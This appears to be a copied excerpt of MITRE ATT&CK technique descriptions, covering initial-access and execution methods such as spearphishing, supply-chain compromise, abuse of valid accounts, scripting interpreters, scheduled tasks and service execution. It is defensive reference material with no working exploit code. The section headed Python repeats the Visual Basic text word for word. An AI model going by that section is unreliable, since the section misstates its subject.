Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.

.001 - Spearphishing Attachment

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

.002 - Spearphishing Link

Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").

Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to Steal Application Access Tokens. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.

.003 - Spearphishing via Service

Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.

T1091 - Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB. This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables. For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

T1195 - Supply Chain Compromise

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies
- Manipulation of software update/distribution mechanisms
- Compromised/infected system images (multiple cases of removable media infected at the factory)
- Replacement of legitimate software with modified versions

- Sales of modified/counterfeit products to legitimate distributors
- Shipment interdiction

While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.

.001 - Compromise Software Dependencies and Development Tools

Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.

.002 - Compromise Software Supply Chain

Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.

.003 - Compromise Hardware Supply Chain

Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.

T1199 - Trusted Relationship

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.

In Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.

T1078 - Valid Accounts
Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.

.001 - Default Accounts
Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.

Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.

.002 - Domain Accounts
Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.

Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.

.003 - Local Accounts
Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

.004 - Cloud Accounts

Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.

Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a Trusted Relationship. Similar to Domain Accounts, compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.

Once a cloud account is compromised, an adversary may perform Account Manipulation - for example, by adding Additional Cloud Roles - to maintain persistence and potentially escalate their privileges.

Execution

The adversary is trying to run malicious code.

Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1059 - Command and Scripting Interpreter

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.

There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.

.001 – PowerShell

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).

.002 – AppleScript

Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents. These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Scripts can be run from the command-line via osascript /path/to/script or osascript -e "script here". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.

AppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS Native APIs NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.

Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute Native APIs, which otherwise would require compilation and execution in a mach-O binary file format. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via Python.

.003 - Windows Command Shell

Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.

Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.

.004 - Unix Shell

Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.

Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.

.005 - Visual Basic

Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.

Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications. VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).

Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).

.006 – Python

Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.

Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications. VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).

Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).[6]

.007 – JavaScript

Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.

JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the Component Object Model and Internet Explorer HTML Application (HTA) pages.

JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple's Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple's OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple's internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and AppleScript. Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.

Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a Drive-by Compromise or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of Obfuscated Files or Information.

.008 - Network Device CLI

Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.

Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or SSH.

Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.

T1609 - Container Administration Command

Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.

In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container. In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.

T1610 - Deploy Container

Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.

Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.

T1203 - Exploitation for Client Execution

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

- Browser-based Exploitation - Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.
- Office Applications - Common office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.
- Common Third-party Applications - Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

T1559 - Inter-Process Communication

Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.

Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes. Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.

.001 - Component Object Model

Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE). Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).

Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic. Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.

.002 - Dynamic Data Exchange

Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.

Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.

DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter. DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).

.003 - XPC Services

Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.

Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler. This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct Exploitation for Privilege Escalation.

T1106 - Native API

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.

Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via Disable or Modify Tools).

T1053 - Scheduled Task/Job

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.

Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to System Binary Proxy Execution, adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.

.002 – At

Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task's schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.

On Linux and macOS, at may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke at. If the at.deny exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.

Adversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).

In Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.

.003 – Cron

Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.[1] The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.

An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence.

.005 - Scheduled Task
Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated at utility could also be abused by adversaries (ex: At), though `at.exe` can not access tasks created with `schtasks` or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.

Adversaries may also create "hidden" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions). Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.

.006 - Systemd Timers
Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension `.timer` that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to Cron in Linux environments. Systemd timers may be activated remotely via the `systemctl` command line utility, which operates over SSH.

Each `.timer` file must have a corresponding `.service` file with the same name, e.g., `example.timer` and `example.service`. `.service` files are Systemd Service unit files that are managed by the systemd system and service manager. Privileged timers are written to `/etc/systemd/system/` and `/usr/lib/systemd/system` while user level are written to `~/.config/systemd/user/`.

An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence. Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.

.007 - Container Orchestration Job
Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks. An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.

T1648 - Serverless Execution
Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.

Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. Resource Hijacking). Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the IAM:PassRole permission in AWS or the iam.serviceAccounts.actAs permission in Google Cloud to add Additional Cloud Roles to a serverless cloud function, which may then be able to perform actions the original user cannot.

Serverless functions can also be invoked in response to cloud events (i.e. Event Triggered Execution), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds Additional Cloud Credentials to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created. Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.

T1129 - Shared Modules
Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API.

The module loader can load DLLs:

- via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
- via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
- via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
- via <file name="filename.extension" loadFrom="fully-qualified or relative pathname"> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.

Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.

T1072 - Software Deployment Tools
Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).

Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.

T1569 - System Services

Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence (Create or Modify System Process), but adversaries can also abuse services for one-time or temporary execution.

.001 – Launchctl

Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.

Adversaries use launchctl to execute commands and programs as Launch Agents or Launch Daemons. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w "%s/Library/LaunchAgents/%s" or /bin/launchctl load to execute Launch Agents or Launch Daemons.

.002 - Service Execution

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services. The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net.

PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API. Tools such as PsExec and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.

